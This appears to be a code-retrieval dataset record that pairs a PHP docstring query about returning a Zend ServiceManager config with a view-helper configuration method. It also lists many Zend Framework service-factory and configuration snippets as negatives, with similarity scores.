$this->billing_active;\n }", "public function getBalances ()\n\t{\n\t\treturn $this->call ('account/getbalances', array(), true);\n\t}", "public function getBorrowings();", "public function getReferenceSetsList(){\n return $this->_get(1);\n }", "public function getBillingFieldsConfig()\n {\n if (!isset($this->arrCache['billingFieldsConfig'])) {\n\n $this->arrCache['billingFieldsConfig'] = array();\n $arrFields = deserialize($this->address_fields);\n\n if (is_array($arrFields)) {\n foreach ($arrFields as $arrField) {\n\n $this->arrCache['billingFieldsConfig'][] = array(\n 'value' => $arrField['name'],\n 'enabled' => ($arrField['billing'] != 'disabled'),\n 'mandatory' => ($arrField['billing'] == 'mandatory'),\n );\n }\n }\n }\n\n return $this->arrCache['billingFieldsConfig'];\n }", "public function order_billing() : HasMany\n {\n return $this->hasMany(Order::class, 'address_Billing_ID');\n }", "public function getBillingCycle()\n {\n return $this->billing_cycle;\n }" ]
[ "0.5390474", "0.53052366", "0.5003872", "0.49572343", "0.4950013", "0.4923144", "0.4899255", "0.4845753", "0.48416504", "0.48410812", "0.4840595", "0.4840595", "0.47305214", "0.47015536", "0.4641276", "0.4637623", "0.45906094", "0.45587975", "0.45277014", "0.45177555", "0.45177555", "0.45011508", "0.44763428", "0.44754076", "0.44751748", "0.4465652", "0.4456035", "0.44534034", "0.44368595", "0.44094175", "0.4354341", "0.43498874", "0.4334625", "0.43299323", "0.4295393", "0.42728046", "0.42349443", "0.42281923", "0.42197463", "0.42159373", "0.42130947", "0.4190826", "0.4182754", "0.41774198", "0.41771618", "0.41400856", "0.4136322", "0.4136322", "0.41244632", "0.41231185", "0.411218", "0.41093007", "0.40748084", "0.4073064", "0.40715548", "0.40659803", "0.40627033", "0.40367046", "0.4013865", "0.4011833", "0.40052813", "0.40052813", "0.40013278", "0.39935124", "0.3993071", "0.39910588", "0.39884546", "0.3984766", "0.39708176", "0.39548483", "0.39504486", "0.39479762", "0.39461002", "0.39406025", "0.3919379", "0.38967538", "0.38928404", "0.3886374", "0.38848945", "0.38771328", "0.38652384", "0.38502583", "0.3845869", "0.3835088", "0.3827371", "0.38217962", "0.38170886", "0.3806468", "0.3802478", "0.3799218", "0.37977752", "0.3791362", "0.3791362", "0.37797773", "0.37616608", "0.37611476", "0.3758987", "0.3756665", "0.3746031", "0.3744094" ]
0.74661344
0
Expected to return \Zend\ServiceManager\Config object or array to seed such an object.
public function getViewHelperConfig() { return array( 'invokables' => array( 'formBannerGlobals' => 'Grid\Banner\Form\View\Helper\FormBannerGlobals', 'formBannerLocales' => 'Grid\Banner\Form\View\Helper\FormBannerLocales', 'formBannerTags' => 'Grid\Banner\Form\View\Helper\FormBannerTags', ), ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function createConfig()\n\t{\n\t}", "abstract public static function createConfig(): Config;", "public function getServiceConfig()\n {\n \treturn array(\n\t\t\t'factories' => array(\n\t\t\t\t\t\n\t\t\t\t//models\n\t\t\t\t'Api\\Model\\Key' => function($sm) {\n\t\t\t\t\t$hash = $sm->get('Application\\Model\\Hash');\n\t\t\t\t\t$user = $sm->get('Api\\Model\\Users');\n\t\t\t\t\treturn new Key($hash, $user);\n\t\t\t\t},\t \n\t\t\t\t'Api\\Model\\Projects' => function($sm) {\n\t\t\t\t\t$adapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n\t\t\t\t\t$db = $sm->get('SqlObject');\n\t\t\t\t\treturn new Projects($adapter, $db);\n\t\t\t\t}, \n\t\t\t\t'Api\\Model\\Tasks' => function($sm) {\n\t\t\t\t\t$adapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n\t\t\t\t\t$db = $sm->get('SqlObject');\n\t\t\t\t\treturn new Tasks($adapter, $db);\n\t\t\t\t},\t \n\t\t\t\t'Api\\Model\\Users' => function($sm) {\n\t\t\t\t\t$adapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n\t\t\t\t\t$db = $sm->get('SqlObject');\n\t\t\t\t\t$role = $sm->get('Api\\Model\\Roles');\n\t\t\t\t\t$ud = $sm->get('Application\\Model\\User\\Data');\n\t\t\t\t\treturn new Users($adapter, $db, $role, $ud);\n\t\t\t\t},\t \n\t\t\t\t'Api\\Model\\Companies' => function($sm) {\n\t\t\t\t\t$adapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n\t\t\t\t\t$db = $sm->get('SqlObject');\n\t\t\t\t\treturn new Companies($adapter, $db);\n\t\t\t\t},\t \n\t\t\t\t'Api\\Model\\Options' => function($sm) {\n\t\t\t\t\t$adapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n\t\t\t\t\t$db = $sm->get('SqlObject');\n\t\t\t\t\treturn new Options($adapter, $db);\n\t\t\t\t},\t \n\t\t\t\t'Api\\Model\\Roles' => function($sm) {\n\t\t\t\t\t$adapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n\t\t\t\t\t$db = $sm->get('SqlObject');\n\t\t\t\t\t$permission = $sm->get('Application\\Model\\Permissions');\n\t\t\t\t\treturn new Roles($adapter, $db, $permission);\n\t\t\t\t},\n\n\t\t\t\t//events\n\t\t\t\t'Api\\Event\\UserDataEvent' => function($sm) {\n\t\t\t\t\treturn new UserDataEvent(); \n\t\t\t\t},\n\t\t\t\t'Api\\Event\\ViewEvent' => function($sm) {\n\t\t\t\t\t$auth = $sm->get('AuthService');\n\t\t\t\t\t$user = $sm->get('Api\\Model\\Users');\n\t\t\t\t\t\n\t\t\t\t\treturn new ViewEvent($auth->getIdentity(), $user); \n\t\t\t\t},\n\t\t\t),\n \t);\n }", "public function getServiceConfig()\n {\n return array(\n 'factories' => array(\n 'AuthService' => function($sm) {\n // Make sure database is started.\n $sm->get('Model');\n \n $authService = new AuthenticationService();\n $adapter = new \\Swaggerdile\\Authentication\\Adapter\\Wordpress();\n\n $authService->setAdapter($adapter);\n\n // Get configuration\n $config = $sm->get('config');\n\n $authService->setStorage(new CookieBase(\n $config['cookiebase_short_secret'],\n $config['cookiebase_secret'],\n $config['cookiebase_name'],\n $config['cookiebase_timeout'],\n $config['cookiebase_domain']));\n\n return $authService;\n },\n\n 'IsAdult' => function($sm) {\n $request = $sm->get('Request');\n\n $cookie = $request->getCookie();\n return (is_object($cookie) &&\n $cookie->offsetExists('swaggerdile_opt_in') &&\n (int)$cookie->swaggerdile_opt_in);\n },\n\n 'Model' => function($sm) {\n $dbAdapter = $sm->get('\\Zend\\Db\\Adapter\\Adapter');\n \\Zend\\Db\\TableGateway\\Feature\\GlobalAdapterFeature::setStaticAdapter($dbAdapter);\n\n if($sm->get('IsAdult')) {\n \\Swaggerdile\\Model\\ModelTable::enableAdult();\n } else{\n \\Swaggerdile\\Model\\ModelTable::disableAdult();\n }\n\n return \\Swaggerdile\\Model\\Factory::getInstance();\n },\n\n 'Media' => function($sm) {\n $config = $sm->get('config');\n return new \\Swaggerdile\\Media( $config['media']['publicMediaBasePath'],\n $config['media']['privateMediaBasePath']);\n },\n\n 'Wordpress' => function($sm) {\n $config = $sm->get('config');\n return new \\Swaggerdile\\Wordpress( $config['wordpress_api_url'],\n $config['wordpress_api_key']);\n },\n\n 'Email' => function($sm) {\n $config = $sm->get('config');\n return new \\Swaggerdile\\Mail($config['mail']);\n },\n\n 'Crypto' => function($sm) {\n $config = $sm->get('config');\n return new \\Swaggerdile\\Crypto($config['crypto']);\n },\n\n 'Cache' => function($sm) {\n $config = $sm->get('config');\n\n if(array_key_exists('cloudflare_zone', $config)) {\n return new \\Swaggerdile\\Cache(\n $config['cloudflare_zone'],\n $config['cloudflare_user'],\n $config['cloudflare_key']);\n } else {\n return new \\Swaggerdile\\Cache('', '', '');\n }\n }, \n\n 'SDExceptionStrategy' => function($sm) {\n $strategy = new \\Swaggerdile\\Mvc\\View\\Http\\ExceptionStrategy();\n\n // @TODO : make this configurable\n $strategy->setDisplayExceptions(false);\n $strategy->setExceptionTemplate(\"error/index\");\n\n return $strategy;\n },\n\n 'SDRouteNotFoundStrategy' => function($sm) {\n $strategy = new \\Swaggerdile\\Mvc\\View\\Http\\RouteNotFoundStrategy();\n\n // @TODO : make this configurable\n $strategy->setDisplayExceptions(false);\n $strategy->setNotFoundTemplate(\"error/404\");\n\n return $strategy;\n },\n\n 'User' => function($sm) {\n $authAdapter = $sm->get('AuthService');\n\n if(!$authAdapter->hasIdentity()) {\n return false;\n }\n\n $id = $authAdapter->getIdentity();\n\n if(!is_object($id)) {\n $user = $sm->get('Model')\n ->get('User')\n ->fetchById($id);\n } else {\n $user = $sm->get('Model')\n ->get('User')\n ->fetchById($id->getId());\n }\n\n return $user === null ? false : $user; \n },\n\n 'Jira' => function($sm) {\n return new \\chobie\\Jira\\Api(\n TIGERDILE_JIRA_URL,\n new \\chobie\\Jira\\Api\\Authentication\\Basic(\n TIGERDILE_JIRA_USER,\n TIGERDILE_JIRA_PASSWORD\n )\n );\n },\n\n 'Chat' => function($sm) {\n return new \\Swaggerdile\\Chat();\n },\n ),\n );\n }", "public function getServiceConfig()\n {\n return [\n 'factories' => [\n AnswerController::class=>AnswerControllerFactory::class,\n PainelController::class=>PainelControllerFactory::class,\n Quiz::class=>QuizFactory::class,\n QuizRepository::class=>QuizRepositoryFactory::class,\n Question::class=>QuestionFactory::class,\n QuestionRepository::class=>QuestionRepositoryFactory::class,\n Answer::class=>AnswerFactory::class,\n AnswerRepository::class=>AnswerRepositoryFactory::class,\n AnsweredUser::class=>AnsweredUserFactory::class,\n AnsweredUserRepository::class=>AnsweredUserRepositoryFactory::class,\n Answeredinfo::class=>AnsweredinfoFactory::class,\n AnsweredinfoRepository::class=>AnsweredinfoRepositoryFactory::class,\n ]\n ];\n\n }", "private function initConfig()\n {\n return $this->config = [\n 'api' => 'https://api.gfycat.com/v1',\n ];\n }", "protected function _getConfig()\n {\n $bootstrap = Zend_Controller_Front::getInstance()->getParam('bootstrap');\n $configArray = $bootstrap->getOptions();\n return $config = new Zend_Config($configArray);\n }", "static public function factory($config) {}", "public function getServiceConfig()\n {\n return array(\n 'factories' => array(\n 'Newsletter\\Model\\AdminConfigTable' => function($sm) {\n $tableGateway = $sm->get('AdminConfigTableGateway');\n $table = new AdminConfigTable($tableGateway);\n return $table;\n\t\t\t\t },\n\t\t\t\t 'AdminConfigTableGateway' => function ($sm) {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $resultSetPrototype = new ResultSet();\n $resultSetPrototype->setArrayObjectPrototype(new Config());\n return new TableGateway('admin_config', $dbAdapter, null, $resultSetPrototype);\n\t\t\t\t },\n\t\t\t\t 'Newsletter\\Model\\EmailsubscriptionTable' => function($sm) {\n $tableGateway = $sm->get('EmailsubscriptionTableGateway');\n $table = new EmailsubscriptionTable($tableGateway);\n return $table;\n\t\t\t\t },\n\t\t\t\t 'EmailsubscriptionTableGateway' => function ($sm) {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $resultSetPrototype = new ResultSet();\n $resultSetPrototype->setArrayObjectPrototype(new Emailsubscription());\n return new TableGateway('email_subscription', $dbAdapter, null, $resultSetPrototype);\n\t\t\t\t },\n\t\t\t ),\n\t\t\t);\n\t\t }", "public function testGetExistingWithConfigData()\n {\n $users = CollectionRegistry::get('Users');\n CollectionRegistry::get('Users', ['name' => 'my_users']);\n }", "protected function &getConfig(){\n \n if( is_null($this->config) ){\n $this->config = new \\stdClass();\n }\n \n return $this->config;\n \n }", "public function getServiceConfig()\n {\n return array(\n 'factories' => array(\n 'dbAdapter' => function($sm) {\n $config = $sm->get('config');\n $config = $config['db'];\n $dbAdapter = new DbAdapter($config);\n return $dbAdapter;\n },\n 'Plans\\Model\\DatabaseSql' => function($sm) {\n $dbAdapter = $sm->get('dbAdapter');\n $tablePlan = new DatabaseSql($dbAdapter);\n return $tablePlan; \n }, \n ),\n );\n }", "protected function freshConfigWithEventBus()\n\t{\n\t\treturn $this->fixture_factory->freshConfigWithEventBus();\n\t}", "abstract public function init(array $config);", "public function testConfigGetConfig()\n {\n\n $config = Config::getConfig();\n $this->assertInstanceOf('streltcov\\geocoder\\Config', $config);\n\n }", "protected function addConfig()\n\t{\n\t\treturn new Config( array() );\n\t}", "public function testGetConfig()\n {\n $sut = new TestFixtureConfigTrait;\n $result = $sut->getConfig();\n $this->assertInstanceOf('\\MvcLite\\Config', $result);\n }", "public function config(): Config;", "abstract protected function configs(): array;", "public function getConfigService();", "function get_settings_config_data() {\n $config = $this->config;//get instance config\n\n //if config doesn't exist - create it\n if (!isset($config)) {\n $config = new stdClass();\n }\n\n //if data doesn't exist = make it an empty array\n if (!isset($config->data))\n $config->data = array();\n\n //return config\n return $config;\n }", "protected function setUpConfigurationData() {}", "protected function _initConfig()\n\t{\n\t\tZend_Registry::set('config', new Zend_Config($this->getOptions()));\n\t}", "protected function config()\n {\n if (! $this->config) {\n $this->config = Mockery::mock(Repository::class);\n }\n\n return $this->config;\n }", "static public function factory($config)\n {\n }", "public function testConfigWithoutInjection(): void\n {\n $config = new FixtureConfig([]);\n\n $this->assertSame([], $config->getData());\n }", "abstract protected function getMartyConfig(): array;", "protected static function configFactory() {\n return \\Drupal::configFactory();\n }", "public function makeConfig() : Config\n {\n if($this->makeConfig) {\n return $this->makeConfig;\n }\n return $this->makeConfig = factory(Config::class)->make();\n }", "abstract protected function getConfig();", "abstract public function getConfig();", "public function getServiceConfiguration()\n {\n return array(\n 'aliases' => array(\n 'Doctrine\\ORM\\EntityManager' => 'doctrine.entitymanager.orm_default',\n ),\n 'factories' => array(\n 'DoctrineORMModule\\Form\\Annotation\\AnnotationBuilder' => function($sm) {\n return new \\DoctrineORMModule\\Form\\Annotation\\AnnotationBuilder(\n $sm->get('doctrine.entitymanager.orm_default')\n );\n },\n 'doctrine.connection.orm_default' => new CommonService\\ConnectionFactory('orm_default'),\n 'doctrine.configuration.orm_default' => new ORMService\\ConfigurationFactory('orm_default'),\n 'doctrine.driver.orm_default' => new CommonService\\DriverFactory('orm_default'),\n 'doctrine.entitymanager.orm_default' => new ORMService\\EntityManagerFactory('orm_default'),\n 'doctrine.eventmanager.orm_default' => new CommonService\\EventManagerFactory('orm_default'),\n )\n );\n }", "public function configure();", "public static function config();", "public function getConfig() {}", "public function loadConfig() {\n return (object)$this->config;\n }", "protected function mockConfig()\n {\n $config = $this->getMock('Contao\\\\CoreBundle\\\\Adapter\\\\ConfigAdapter', ['isComplete']);\n\n $config\n ->expects($this->any())\n ->method('isComplete')\n ->willReturn(true)\n ;\n\n $config\n ->expects($this->any())\n ->method('get')\n ->willReturnCallback(function ($key) {\n switch ($key) {\n case 'characterSet':\n return 'UTF-8';\n\n case 'timeZone':\n return 'Europe/Berlin';\n\n default:\n return null;\n }\n })\n ;\n\n return $config;\n }", "public function createLocalConfigurationFromFactoryConfiguration() {}", "public function testConfigurationFromArray()\n {\n $container = [\n 'simple' => 'value',\n 'array' => [1, 2, 3],\n 'multi' => [\n 'a' => 1,\n 'b' => 2\n ]\n ];\n\n $configuration = Factory::fromArray($container);\n\n $this->assertInstanceOf(Configuration::class, $configuration);\n $this->assertTrue($configuration->offsetExists('simple'));\n $this->assertTrue($configuration->offsetExists('array'));\n $this->assertTrue($configuration->offsetExists('multi'));\n $this->assertEquals($container, $configuration->getInternalContainer());\n }", "private function lazy_get_config(): array\n\t{\n\t\treturn array_merge_recursive($this->configs['app'], $this->construct_options);\n\t}", "protected function _initConfig()\n\t{\n\t\tZend_Registry::set('config', $this->getOptions());\n\t}", "function initConfig($config) {\r\n $configApp = new ZendExt_App_Config();\r\n $config = $configApp->configApp($config);\r\n Zend_Registry::getInstance()->config = $config;\r\n }", "public function getServiceConfig()\n {\n return array('factories' => array(\n 'zPetr\\ApigilityXml\\XmlRenderer' => function ($services) {\n $helpers = $services->get('ViewHelperManager');\n $apiProblemRenderer = $services->get('ZF\\ApiProblem\\ApiProblemRenderer');\n $config = $services->get('Config');\n \n $renderer = new View\\XmlRenderer($apiProblemRenderer,$config);\n $renderer->setHelperPluginManager($helpers);\n \n return $renderer;\n },\n 'zPetr\\ApigilityXml\\XmlStrategy' => function ($services) {\n $renderer = $services->get('zPetr\\ApigilityXml\\XmlRenderer');\n return new View\\XmlStrategy($renderer);\n },\n ));\n }", "public function getConfig()\n {\n $provider = new ConfigProvider();\n return [\n 'service_manager' => $provider->getDependencyConfig(),\n ];\n }", "public function getConfig()\n {\n $provider = new ConfigProvider();\n return [\n 'service_manager' => $provider->getDependencyConfig(),\n ];\n }", "public function getConfig() {\r\n\r\n\t}", "public function getServiceConfig()\n {\n return array(\n 'invokables' => array(\n 'User\\Model\\User' => 'User\\Model\\User',\n ),\n 'factories' => array(\n 'User\\Mapper\\User' => function (ServiceManager $sm) {\n $mapper = new UserMapper($sm->get('Zend\\Db\\Adapter\\Adapter'));\n $mapper->setServiceManager($sm);\n\n return $mapper;\n },\n 'Zend\\Authentication\\Adapter\\DbTable' => function (ServiceManager $sm) {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $authAdapter = new AuthAdapter($dbAdapter, 'users', 'username', 'password', null);\n $select = $authAdapter->getDbSelect();\n $select->where(\"status = 0\");\n\n return $authAdapter;\n },\n 'Zend\\Authentication\\AuthenticationService' => function (ServiceManager $sm) {\n /** @var \\Zend\\Authentication\\AuthenticationService $authService */\n $authService = new \\Zend\\Authentication\\AuthenticationService(new SessionStorage('delifi'));\n return $authService;\n },\n )\n );\n }", "abstract protected function configure();", "abstract protected function configure();", "abstract public function configure();", "function merchantConfigObject()\n{\n $config = new \\CyberSource\\Authentication\\Core\\MerchantConfiguration();\n $runEnv = \"api-matest.cybersource.com\";\n #OAuth related config\n $enableClientCert = true;\n $clientCertDirectory = \"Resources/\";\n $clientCertFile = \"\"; // p12 certificate\n $clientCertPassword = \"\"; // password used to encrypt p12\n $clientId = \"\";\n $clientSecret = \"\";\n\n $confiData = $config->setEnableClientCert($enableClientCert);\n $confiData = $config->setClientCertDirectory($clientCertDirectory);\n $confiData = $config->setClientCertFile($clientCertFile);\n $confiData = $config->setClientCertPassword($clientCertPassword);\n $confiData = $config->setClientId($clientId);\n $confiData = $config->setClientSecret($clientSecret);\n $confiData = $config->setRunEnvironment($runEnv);\n $config->validateMerchantData($confiData);\n return $config;\n}", "protected function mockConfig()\n {\n $GLOBALS['container'] = new \\Pimple();\n\n $stub = $this->getMock(\n 'Config',\n array(\n 'getInstance',\n 'get'\n )\n );\n\n $stub->expects($this->any())\n ->method('get')\n ->with('dbDriver')\n ->will($this->returnValue('mySQL'));\n\n $GLOBALS['container']['config'] = $stub;\n }", "public static function config()\n {\n return new Config_ForClass(\"AntonyThorpe\\SilverShopUnleashed\\UnleashedAPI\");\n }", "public function it_can_be_configured()\n {\n $this->beConstructedWith(self::CONFIG_BASIC);\n $this->getWrappedObject();\n }", "protected function getMockConfig()\n {\n if (empty($this->config)) {\n $this->config = $this->getMock(\n 'Phergie_Config', array('offsetExists', 'offsetGet')\n );\n $this->config\n ->expects($this->any())\n ->method('offsetExists')\n ->will($this->returnCallback(array($this, 'configOffsetExists')));\n $this->config\n ->expects($this->any())\n ->method('offsetGet')\n ->will($this->returnCallback(array($this, 'configOffsetGet')));\n }\n return $this->config;\n }", "public function __construct($config)\n {\n }", "public static function getConfig()\n {\n }", "public function __invoke() : ConfigInterface;", "public function configure(array $config);", "public function __construct(array $config = array());", "public function getServiceConfig()\n {\n return array(\n 'factories' => array(\n 'Application\\Clases\\Login' => function ($sm)\n {\n $config = $sm->get('config');\n $db_auth = new \\Zend\\Db\\Adapter\\Adapter($config['db']);\n return new Login($db_auth);\n },\n \n 'Application\\Permissions\\AclListener' => function ($sm)\n {\n $config = $sm->get('config');\n $db_auth = new \\Zend\\Db\\Adapter\\Adapter($config['db']);\n return new AclListener($db_auth);\n },\n \n 'Application\\Model\\Dao\\UsuarioDao' => function ($sm)\n {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $resultSetPrototype = new ResultSet();\n $resultSetPrototype->setArrayObjectPrototype(new Usuario());\n $tableGateway = new TableGateway('usuario', $dbAdapter, null, $resultSetPrototype);\n return new UsuarioDao($tableGateway);\n },\n \n 'Application\\Model\\Dao\\RolUsuarioDao' => function ($sm)\n {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $resultSetPrototype = new ResultSet();\n $resultSetPrototype->setArrayObjectPrototype(new RolUsuario());\n $tableGateway = new TableGateway('rol_usuario', $dbAdapter, null, $resultSetPrototype);\n return new RolUsuarioDao($tableGateway);\n },\n \n 'Recursos\\Model\\Dao\\DepartamentoDao' => function ($sm)\n {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $resultSetPrototype = new ResultSet();\n $resultSetPrototype->setArrayObjectPrototype(new Departamento());\n $tableGateway = new TableGateway('departamento', $dbAdapter, null, $resultSetPrototype);\n return new DepartamentoDao($tableGateway);\n },\n \n 'Recursos\\Model\\Dao\\CargoDao' => function ($sm)\n {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $resultSetPrototype = new ResultSet();\n $resultSetPrototype->setArrayObjectPrototype(new Cargo());\n $tableGateway = new TableGateway('cargo', $dbAdapter, null, $resultSetPrototype);\n return new CargoDao($tableGateway);\n },\n \n 'Recursos\\Model\\Dao\\CompetenciaDao' => function ($sm)\n {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $resultSetPrototype = new ResultSet();\n $resultSetPrototype->setArrayObjectPrototype(new Competencia());\n $tableGateway = new TableGateway('competencia', $dbAdapter, null, $resultSetPrototype);\n return new CompetenciasDao($tableGateway);\n },\n \n 'Recursos\\Model\\Dao\\PersonalDao' => function ($sm)\n {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $resultSetPrototype = new ResultSet();\n $resultSetPrototype->setArrayObjectPrototype(new Personal());\n $tableGateway = new TableGateway('personal', $dbAdapter, null, $resultSetPrototype);\n return new PersonalDao($tableGateway);\n },\n \n 'Recursos\\Model\\Dao\\ExperienciaDao' => function ($sm)\n {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $resultSetPrototype = new ResultSet();\n $resultSetPrototype->setArrayObjectPrototype(new Experiencia());\n $tableGateway = new TableGateway('experiencia', $dbAdapter, null, $resultSetPrototype);\n return new ExperienciaDao($tableGateway);\n },\n \n 'Recursos\\Model\\Dao\\IdiomaDao' => function ($sm)\n {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $resultSetPrototype = new ResultSet();\n $resultSetPrototype->setArrayObjectPrototype(new Idioma());\n $tableGateway = new TableGateway('idioma', $dbAdapter, null, $resultSetPrototype);\n return new IdiomaDao($tableGateway);\n },\n \n 'Recursos\\Model\\Dao\\GradoDao' => function ($sm)\n {\n $dbAdapter = $sm->get('Zend\\Db\\Adapter\\Adapter');\n $resultSetPrototype = new ResultSet();\n $resultSetPrototype->setArrayObjectPrototype(new Grados());\n $tableGateway = new TableGateway('grados', $dbAdapter, null, $resultSetPrototype);\n return new GradoDao($tableGateway);\n }\n )\n );\n // 'Navigation' => 'Application\\Clases\\MyNavigationFactory'\n \n /*\n * 'initializers' => array(\n * function ($instance, $sm) {\n * if ($instance instanceof \\Zend\\Db\\Adapter\\AdapterAwareInterface) {\n * $instance->setDbAdapter($sm->get('Zend\\Db\\Adapter\\Adapter'));\n * }\n * }\n * ),\n * 'invokables' => array(\n * 'menu' => 'Application\\Model\\Dao\\MenuTable'\n * ),\n */\n }", "public function runConfig():Create {\n\n # Set config\n Config::setup();\n\n # Return instance\n return $this;\n\n }", "public static function configuration(): ArrayObject\n {\n //====================================================================//\n // Configuration Array Already Exists\n //====================================================================//\n if (isset(self::core()->conf)) {\n return self::core()->conf;\n }\n\n //====================================================================//\n // Load Module Core Configuration\n //====================================================================//\n\n //====================================================================//\n // Initialize Empty Configuration\n self::core()->conf = new ArrayObject(array(), ArrayObject::ARRAY_AS_PROPS);\n $config = &self::core()->conf;\n\n //====================================================================//\n // Load Module Core Configuration from Definition File\n //====================================================================//\n // Translations Parameters\n $config->DefaultLanguage = SPLASH_DF_LANG;\n\n //====================================================================//\n // WebService Core Parameters\n $config->WsMethod = SPLASH_WS_METHOD;\n $config->WsTimout = SPLASH_TIMEOUT;\n $config->WsCrypt = SPLASH_CRYPT_METHOD;\n $config->WsEncode = SPLASH_ENCODE;\n $config->WsHost = 'www.splashsync.com/ws/soap';\n $config->WsPostCommit = true;\n\n //====================================================================//\n // Activity Logging Parameters\n $config->Logging = SPLASH_LOGGING;\n $config->TraceIn = SPLASH_TRACE_IN;\n $config->TraceOut = SPLASH_TRACE_OUT;\n $config->TraceTasks = SPLASH_TRACE_TASKS;\n $config->SmartNotify = SPLASH_SMART_NOTIFY;\n\n //====================================================================//\n // Custom Objects Extensions\n $config->ExtensionsPath = null;\n\n //====================================================================//\n // Custom Parameters Configurator\n $config->Configurator = JsonConfigurator::class;\n\n //====================================================================//\n // Server Requests Configuration\n $config->server = array();\n\n //====================================================================//\n // Load Module Local Configuration (In Safe Mode)\n //====================================================================//\n try {\n $localConf = self::local()->parameters();\n } catch (Exception $e) {\n $localConf = array();\n }\n //====================================================================//\n // Complete Local Configuration with ENV Variables\n SplashUrlHelper::completeParameters($localConf);\n //====================================================================//\n // Validate Local Parameters\n if (self::validate()->isValidLocalParameterArray($localConf)) {\n //====================================================================//\n // Import Local Parameters\n foreach ($localConf as $key => $value) {\n $config->{$key} = is_scalar($value) ? trim((string) $value) : $value;\n }\n }\n\n //====================================================================//\n // Load Module Local Custom Configuration (from Configurator)\n //====================================================================//\n $customConf = self::configurator()->getParameters();\n //====================================================================//\n // Import Local Parameters\n foreach ($customConf as $key => $value) {\n $config->{$key} = is_scalar($value) ? trim((string) $value) : $value;\n }\n\n return self::core()->conf;\n }", "private function getConfigurationObject()\n {\n if(!is_object($this->confObj) && !($this->confObj instanceof Configuration)) {\n $this->confObj = GeneralUtility::makeInstance('PITS\\\\Snowbabel\\\\Service\\\\Configuration');\n }\n }", "protected function _initConfig()\n {\n Zend_Registry::set('config', $this->getOptions());\n Zend_Registry::set('acl', new Application_Model_Acl());\n }", "public function getServiceConfig()\n {\n return array(\n 'invokables' => array(\n 'StrokerTemplateInspector\\Collector\\TemplateCollector' => 'StrokerTemplateInspector\\Collector\\TemplateCollector'\n ),\n 'factories' => array(\n 'StrokerTemplateStrategy' => function($sm) {\n $renderer = new PhpRenderer;\n $renderer->setHelperPluginManager($sm->get('ViewHelperManager'));\n $renderer->setResolver($sm->get('ViewResolver'));\n $renderer->setTemplateCollector($sm->get('StrokerTemplateInspector\\Collector\\TemplateCollector'));\n return new PhpRendererStrategy($renderer);\n }\n )\n );\n }", "private function initConfig() {\n\t\t$configLoader = new ConfigLoader($this->_env);\n\n /** set config to Di container */\n $this->_di->set('config', $configLoader, TRUE);\n $this->_config = $configLoader;\n\t}", "function get_config_array();", "protected function config()\n {\n return $this->make('config');\n }", "protected function _initConfig()\n\t{\n\t\t$this->_config = new Zend_Config_Xml($this->_configFile);\n\t\t!empty($this->_config) || trigger_error('Config file not found.', E_USER_ERROR);\n\t\treturn $this->_config;\n\t}", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getServiceConfig() {\n return array(\n 'aliases' => array(\n 'Zend\\Authentication\\AuthenticationService' => 'dao.authentication.service'\n ),\n 'factories' => array(\n 'dao.authentication.simple' => new SimpleAuthService(),\n 'dao.authentication.god' => new GodAuthService(),\n 'dao.authentication.service' => new AuthenticationService()\n )\n );\n }", "public function getConfigArray() {}", "public function __construct()\n {\n\n // $configuration = $this->get('configuration');\n\n\n }", "public function getServiceConfiguration();", "protected function getConfigService()\n {\n return $this->services['config'] = new \\phpbb\\config\\db(${($_ = isset($this->services['dbal.conn']) ? $this->services['dbal.conn'] : ($this->services['dbal.conn'] = new \\phpbb\\db\\driver\\factory($this))) && false ?: '_'}, ${($_ = isset($this->services['cache.driver']) ? $this->services['cache.driver'] : ($this->services['cache.driver'] = new \\phpbb\\cache\\driver\\file())) && false ?: '_'}, 'phpbb_config');\n }", "public function testGetSetAllConfig()\n {\n $this->config->setConfig(array('foo' => 'bar'));\n $this->assertEquals($this->config->getConfig('foo'), 'bar');\n }", "public static function getConfig()\n {\n if(is_array(self::$config)){\n return new PhConfig(self::$config);\n }\n if(self::$config instanceof Config){\n return self::$config;\n }\n\n return new PhConfig();\n }", "public function config()\n {\n }", "public function testConfigGetter(): void {\n $expected = new Config(\"$this->root/source\", \"$this->root/target\");\n $actual = $this->configUpdateManager->getConfig();\n self::assertEquals($expected, $actual);\n }", "public function getConfig()\n {\n if ($this->_config == null) {\n $this->_config = new Varien_Object();\n }\n return $this->_config;\n }", "public function testConfigOnDefinedInstance()\n {\n $users = TableRegistry::get('Users');\n TableRegistry::config('Users', ['table' => 'my_users']);\n }", "protected abstract static function getConfig(): array;", "public function init($config);", "protected function initConfig()\n {\n $this->di->setShared('config', function () {\n $path = BASE_DIR . 'app/config/';\n\n if (!is_readable($path . 'config.php')) {\n throw new RuntimeException(\n 'Unable to read config from ' . $path . 'config.php'\n );\n }\n\n $config = include $path . 'config.php';\n\n if (is_array($config)) {\n $config = new Config($config);\n }\n\n if (!$config instanceof Config) {\n $type = gettype($config);\n if ($type == 'boolean') {\n $type .= ($type ? ' (true)' : ' (false)');\n } elseif (is_object($type)) {\n $type = get_class($type);\n }\n\n throw new RuntimeException(\n sprintf(\n 'Unable to read config file. Config must be either an array or Phalcon\\Config instance. Got %s',\n $type\n )\n );\n }\n\n if (is_readable($path . APPLICATION_ENV . '.php')) {\n $override = include_once $path . APPLICATION_ENV . '.php';\n\n 